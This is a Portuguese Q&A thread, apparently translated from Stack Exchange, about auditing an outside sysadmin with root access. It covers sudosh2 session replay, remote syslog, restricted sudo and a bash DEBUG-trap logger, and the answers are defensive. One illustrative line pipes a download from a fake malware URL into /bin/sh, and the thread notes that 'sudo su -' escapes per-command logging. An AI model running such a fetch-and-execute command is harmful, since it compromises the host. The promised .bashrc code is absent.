Quero dar acesso ao meu servidor raiz a um administrador de sistema externo, mas quero ter certeza de verificar o que ele está fazendo no meu servidor, por exemplo, copiar dados que não quero que eles façam e assim por diante. Também gostaria de acompanhar qualquer arquivo acessado, mesmo em somente leitura e não editado.
Como eu posso fazer isso?
Respostas:
Confie mas verifique!
Confira sudosh2 . O sudosh2 é fornecido pelas portas do FreeBSD. Pacotes estão disponíveis para RedHat e Ubuntu. Aqui está a descrição do site:
O Sudosh permitirá que você reproduza a sessão do usuário, o que permitirá ver todas as entradas e saídas conforme o usuário a viu. Você vê tudo, pressionamentos de teclas, erros de digitação, backspaces, o que eles editaram
vi
, a saída dewget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh
etc.É possível enviar logs do sudosh para o syslog, para que eles possam ser armazenados em um servidor syslog central, longe do sistema.
Observe que sudosh2 é um substituto para o sudosh, que foi abandonado por seu autor
Você trabalha em uma instituição acadêmica onde os usuários insistem em ter privilégios de superusuário? Ou você trabalha em uma empresa e deseja permitir que os usuários tenham privilégios de superusuário em suas próprias VMs? Esta pode ser a solução para você.
fonte
Não dê a ele acesso root. Em vez disso, forneça a ele uma conta de usuário sem privilégios e solicite que ele faça todo o seu trabalho
sudo
, o que registrará todos os seus comandos.Tenha em mente que, se essa pessoa tem más intenções e você lhe dá privilégios sudo completos, ele vai encontrar uma maneira de realizar essas intenções doentes sem esses comandos sendo registrado. Nesse caso, conceda-lhe apenas acesso aos comandos específicos de que ele precisa para fazer seu trabalho.
fonte
sudo su -
e ter um shell raiz que não será registrado (exceto que você o iniciou). É o que eu digito normalmente quando quero fazer mais do que um único comando como root de uma só vez, ou se quero o preenchimento de guias em diretórios que os usuários normais não conseguem ler.sudo su -
se desejar.Não estou familiarizado com sudosh2, mas coloquei o seguinte no meu
.bashrc
para registrar todos os comandos que digito em umbash
shell no arquivo~/.command_log
:O exemplo acima ativa uma interceptação
DEBUG
, que é executada antes de um comando comum ser executado. Ocaller
built-in é usado para testar se o comando está sendo digitado em um shell interativo ou executado através de algo parecido.bashrc
. O valor${BASH_COMMAND}
contém o comando que está sendo executado no momento.fonte